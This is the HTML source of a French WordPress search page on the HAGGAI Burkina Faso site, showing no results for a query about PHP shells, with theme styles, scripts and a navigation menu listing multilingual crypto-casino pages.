(max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780281739' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

</ul><div id="footer-info">Design JRB XSolutions |  (c) 2025 HAGGAI BURKINA FASO</div>					</div>
				</div>
			</footer>
		</div>


	</div>

	<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/Divi-child/*","/wp-content/themes/Divi/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>
<script id="jquery-core-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="http://haggai-bf.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="jquery-js-after">
jqueryParams.length&&$.each(jqueryParams,function(e,r){if("function"==typeof r){var n=String(r);n.replace("$","jQuery");var a=new Function("return "+n)();$(document).ready(a)}});
//# sourceURL=jquery-js-after
</script>
<script id="divi-custom-script-js-extra">
var DIVI = {"item_count":"%d Item","items_count":"%d Items"};
var et_builder_utils_params = {"condition":{"diviTheme":true,"extraTheme":false},"scrollLocations":["app","top"],"builderScrollLocations":{"desktop":"app","tablet":"app","phone":"app"},"onloadScrollLocation":"app","builderType":"fe"};
var et_frontend_scripts = {"builderCssContainerPrefix":"#et-boc","builderCssLayoutPrefix":"#et-boc .et-l"};
var et_pb_custom = {"ajaxurl":"http://haggai-bf.org/wp-admin/admin-ajax.php","images_uri":"http://haggai-bf.org/wp-content/themes/Divi/images","builder_images_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/images","et_frontend_nonce":"1ba54686f7","subscription_failed":"Veuillez v\u00e9rifier les champs ci-dessous pour vous assurer que vous avez entr\u00e9 les informations correctes.","et_ab_log_nonce":"6e1a125dd2","fill_message":"S'il vous pla\u00eet, remplissez les champs suivants:","contact_error_message":"Veuillez corriger les erreurs suivantes :","invalid":"E-mail non valide","captcha":"Captcha","prev":"Pr\u00e9c\u00e9dent","previous":"Pr\u00e9c\u00e9dente","next":"Prochaine","wrong_captcha":"Vous avez entr\u00e9 le mauvais num\u00e9ro dans le captcha.","wrong_checkbox":"Case \u00e0 cocher","ignore_waypoints":"no","is_divi_theme_used":"1","widget_search_selector":".widget_search","ab_tests":[],"is_ab_testing_active":"","page_id":"","unique_test_id":"","ab_bounce_rate":"","is_cache_plugin_active":"yes","is_shortcode_tracking":"","tinymce_uri":"http://haggai-bf.org/wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors","accent_color":"#7EBEC5","waypoints_options":[]};
var et_pb_box_shadow_elements = [];
//# sourceURL=divi-custom-script-js-extra
</script>
<script id="divi-custom-script-js" src="http://haggai-bf.org/wp-content/themes/Divi/js/scripts.min.js?ver=4.27.6"></script>
<script id="fitvids-js" src="http://haggai-bf.org/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.fitvids.js?ver=4.27.6"></script>
<script id="et-core-common-js" src="http://haggai-bf.org/wp-content/themes/Divi/core/admin/js/common.js?ver=4.27.6"></script>
</body>
</html>
